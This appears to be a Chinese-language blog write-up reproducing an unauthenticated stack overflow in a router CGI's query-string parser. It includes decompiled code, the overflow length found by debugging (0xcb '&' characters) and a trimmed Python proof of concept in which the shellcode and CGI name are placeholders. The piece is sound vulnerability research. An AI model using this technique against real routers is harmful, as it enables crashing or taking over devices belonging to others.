固件仿真
具体参考链接:https://www.iotsec-zone.com/article/479 。文章中解析的极为详细,这里就不过多复述。
漏洞复现
这里由于某些原因,不能将所有细节描述;因此分析流程中可能会使得读者产生困惑,只能say sorry咯
在该漏洞通报详情PDF中,可知其是一个未授权的栈溢出漏洞,因此第一步就是要找到未授权的界面。对于路由器的未授权界面的寻找,个人大概有如下2种方式:
- 通过解包路由器固件,找到其文件系统当中存放的所有相关的html界面,之后通过burp工具对其进行访问即可。
- 对于openwrt该种类型的设备,其在运行时在/tmp目录下可能会存在一个lua-index(忘记叫什么名字了,随便取的,可以通过访问不存在的界面确定名称)文件,其中存放了所有的lua已经注册的可访问界面,包括授权和未授权的界面。
这里使用第一种方法即可,没有意外的话应该是可以发现几个不需要授权即可访问的界面,选择其中一个找到其对应的CGI处理程序。
在该CGI的处理函数中,第一个调用的函数就是GET_CGI函数(漏洞发生函数),也就是报告当中提到的漏洞存在的地方,进入该函数中,其中漏洞主要发生于如下代码片段,函数makeword的作用就行,通过&符号进行分割,每一个&之前的内容都会分配一个堆栈地址,之后将这个地址存放到*(a2+8*v3)当中去,之后在后续的strchr当中,判断每一个参数是否有=字符,如果有则将=字符后面的内容的地址存放在*(a2+8*v3)的高四个字节中,最终结束后还会通过*(a2 + 8 * v3) = 0,赋值一个0。
这里对v3的没有进行限制操作,而makeword当中是通过&符号来生成堆栈并将地址存放给(a2 + 8 v3)的,因此容易想到可以传入多个&符号,来生成多个地址,以此来达到栈溢出的效果。
else
{
v28 = getenv("QUERY_STRING");
if ( !v28 )
return 0;
v3 = 0;
while ( *v28 )
{
*(a2 + 8 * v3) = makeword(v28, '&');
plustospace(*(a2 + 8 * v3));
unescape_url(*(a2 + 8 * v3));
v26 = strchr(*(a2 + 8 * v3), '=');
if ( v26 )
{
*v26 = 0;
*(a2 + 8 * v3 + 4LL) = v26 + 1;
}
else
{
*(a2 + 8 * v3 + 4LL) = 0;
}
++v3;
}
}
*(a2 + 8 * v3) = 0;
return 1;
}
return 0;
}
这里静态分析实际上还是不太明显,直接动态调试。动态调试主要是为了确定几个问题:
1.覆盖谁的返回地址
2.覆盖的长度是多少
3.覆盖后返回地址填充什么内容
首先是第一个问题。由于该设备是aarch64架构的,所以栈溢出和x86下略有不同,大致如下图(如有错误请指正)
之后是覆盖长度。这里动态调试后通过计算可知,只需要输入
0xcb个&符号即可覆盖到目标函数的返回地址当中去
最后是填充内容。在这个漏洞当中,主要的程序是开启了NX保护的,理论上来说是不能够执行shellcode的,但是通过前面的程序可知,每次输入&key=value类型的字符串时,在makeword当中都会创建一个堆栈地址,之后将输入的字符串存放到该堆栈地址当中,之后将该堆栈地址存放到真正的栈上面去,因此这里我们最终覆盖返回地址的值应该是一个makeword开辟出来的地址,但是地址中的内容是输入可控的。
最终经过测试发现,该栈溢出是可以进行利用的,但由于该型号的特殊性,该栈溢出大概率是只能来达DDos效果的(可以任意读写创建删除)
POC
删减版的poc
import requests
from pwn import *
from requests.exceptions import ConnectionError
from requests.adapters import HTTPAdapter
import ssl
import warnings
import urllib3
warnings.filterwarnings("ignore", category=DeprecationWarning)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def hex_to_url(address):
address_bytes = address.to_bytes(4, byteorder='big')
address_bytes_le = address_bytes[::-1]
formatted_address = ''.join(f"%{byte:02x}" for byte in address_bytes_le)
return formatted_address
def attack():
shellcode = "xxx"
url = "http://192.168.1.1/cgi-bin/xxx.cgi?target=aaaaa"+"&"*0xcb+shellcode
print (url)
# adapter = SSLAdapter()
session = requests.Session()
# session.mount('https://', adapter)
# session.mount('http://',adapter)
try:
response = session.get(url,verify=False)
# print(1)
print(response.text)
print(response.status_code)
# print("Attack over.")
except ConnectionError as e:
print("Connection error occurred: ",e)
print("Attack over.")
if __name__ == "__main__":
print("Start attack...")
attack()